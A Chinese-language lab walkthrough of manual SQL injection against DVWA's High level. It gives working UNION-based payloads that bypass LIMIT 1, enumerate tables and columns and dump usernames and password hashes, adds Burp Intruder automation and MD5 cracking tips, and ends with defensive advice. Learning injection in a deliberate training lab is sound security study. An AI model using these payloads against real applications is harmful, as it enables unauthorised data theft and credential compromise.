1. High级别SQL注入的核心挑战
第一次接触DVWA High级别的SQL注入时,我差点被它的防御机制给唬住了。这个级别的靶场设置了两个关键防御点:会话隔离和LIMIT 1限制。简单来说,就是你的输入和查询结果不在同一个页面显示,而且每次查询最多只返回一条记录。这就像你去餐厅点菜,服务员把你的订单拿到后厨后,只允许端一道菜出来,而且还不告诉你其他菜做没做好。
在实际测试中,我发现这种设计确实能有效阻挡很多自动化工具的攻击。比如sqlmap这类工具,在遇到页面分离的情况时经常会"懵圈"。但通过手工注入,我们还是能找到突破口。关键在于理解它的防御原理:
- 会话隔离:用户输入的ID不是直接通过URL或表单传递,而是存储在服务器端的SESSION中。前端通过弹窗获取输入后,后端将值存入
$_SESSION['id'],然后在结果页面从SESSION读取这个值进行查询。 - LIMIT 1限制:所有查询语句末尾都被自动添加了
LIMIT 1,确保无论匹配多少条记录,只返回第一条。
2. 手工注入实战步骤
2.1 环境准备与工具配置
在开始之前,我们需要做好以下准备:
- 将DVWA的安全级别设置为High
- 安装配置BurpSuite社区版(免费版本就够用)
- 浏览器配置代理,指向BurpSuite的监听端口(默认8080)
- 访问DVWA的SQL Injection页面,确保能正常捕获请求
这里有个小技巧:在BurpSuite的Proxy→Options里,把"Intercept"关掉,改用"HTTP history"查看请求记录。这样不会中断你的操作流程,又能随时查看请求详情。
2.2 判断注入类型与闭合方式
在普通注入中,我们通常会尝试1'、1"这样的输入来判断闭合方式。但在High级别下,由于输入是通过弹窗提交的,我们需要借助BurpSuite来观察实际请求。
具体操作步骤:
- 在浏览器点击"Submit"按钮弹出输入框
- 输入测试payload(如
1'#) - 在BurpSuite的HTTP history中找到这个请求
- 发送到Repeater模块进行详细测试
通过测试发现:
- 输入
1'#返回正常 → 说明是字符型注入,单引号闭合 - 输入
1'返回错误 → 确认需要闭合单引号
2.3 绕过LIMIT 1限制
这是High级别最关键的绕过点。原始查询大概是这样的:
SELECT * FROM users WHERE user_id = '$id' LIMIT 1我们的目标是用注释符#把LIMIT 1给注释掉。构造的payload如下:
1' #这样实际执行的SQL就变成了:
SELECT * FROM users WHERE user_id = '1' #' LIMIT 1#后面的内容都被当作注释,LIMIT 1就被成功绕过了。我在测试时发现,有时候用--(注意后面有个空格)也能达到同样效果。
2.4 猜解字段数与确定回显位置
接下来就是常规的Union注入流程了。首先用order by猜解字段数:
1' order by 2# → 正常 1' order by 3# → 报错确认字段数为2后,用负数ID确保原始查询不返回结果,强制显示Union查询的内容:
-1' union select 1,2#页面显示数字1和2的位置就是我们可以利用的回显点。通常在DVWA中,第二个字段会显示在"Surname"处。
2.5 获取数据库信息
现在可以开始爆数据了。我常用的几个payload:
获取当前数据库名:
-1' union select database(),2#获取所有表名:
-1' union select (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='dvwa'),2#获取users表的字段名:
-1' union select (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users'),2#最后获取用户名和密码:
-1' union select group_concat(user), group_concat(password) FROM users#3. 高级绕过技巧与实战经验
3.1 处理特殊情况的子查询技巧
有时候直接Union会遇到字段类型不匹配的问题。这时候可以用子查询来绕过:
-1' union select null,(SELECT concat(user,':',password) FROM users LIMIT 1)#这个payload的好处是:
- 用null避免类型不匹配
- 在子查询中使用concat合并多个字段
- 通过LIMIT 1逐个获取记录(虽然High级别本身有LIMIT 1,但这是在子查询中)
3.2 利用BurpSuite的Intruder模块爆破数据
当需要获取大量数据时,手工一个个改payload很麻烦。这时可以用BurpSuite的Intruder模块:
- 先构造一个基础payload:
-1' union select null,(SELECT concat(user,':',password) FROM users LIMIT 1 OFFSET 0)#- 发送到Intruder,选择"Pitchfork"攻击类型
- 把OFFSET后的0设为payload位置
- 设置payload为数字序列(0,1,2,...)
- 开始攻击,就能批量获取所有记录了
3.3 处理密码解密问题
DVWA中密码是用MD5加密存储的。虽然MD5现在很容易破解,但有几个注意事项:
- 简单密码(如'password')可以直接在cmd5.com这类网站解密
- 复杂密码可能需要用hashcat进行暴力破解
- 实际环境中千万不要尝试破解他人密码,这是违法行为
4. 防御机制分析与安全建议
4.1 High级别防御的优缺点分析
DVWA High级别的防御设计确实比Medium级别高明很多,但仍有明显缺陷:
优点:
- 会话隔离增加了自动化工具的难度
- LIMIT 1限制减少了信息泄露量
- 输入输出分离让攻击者更难判断注入是否成功
缺点:
- 没有过滤注释符(#或--)
- 虽然用了SESSION,但最终还是拼接SQL语句
- 错误信息仍然过于详细
4.2 真正的安全防护建议
如果我要设计一个真正安全的系统,会考虑以下措施:
- 使用预处理语句(PDO或mysqli_prepare)
- 最小化错误信息,只返回通用错误
- 实施权限最小化,数据库用户只赋予必要权限
- 输入验证,即使使用预处理也要验证输入格式
- Web应用防火墙,可以拦截常见的注入尝试
5. 实战中的常见问题与解决方案
在实际测试中,我遇到过几个典型问题:
问题1:注入成功但看不到回显解决:尝试把payload放在第二个字段,或者使用盲注技术
问题2:BurpSuite抓不到请求解决:检查代理设置,确保浏览器信任BurpSuite的CA证书
问题3:字段类型不匹配导致Union失败解决:用null代替具体值,或者使用cast函数转换类型
手工注入确实比工具复杂,但理解原理后,你会发现很多看似坚固的防御其实都有漏洞。关键是要有耐心,一步步测试和验证。每次成功绕过防御获取数据时,那种成就感是直接用工具无法比拟的。不过记住,这些技术只能用在合法授权的测试中,千万别越界。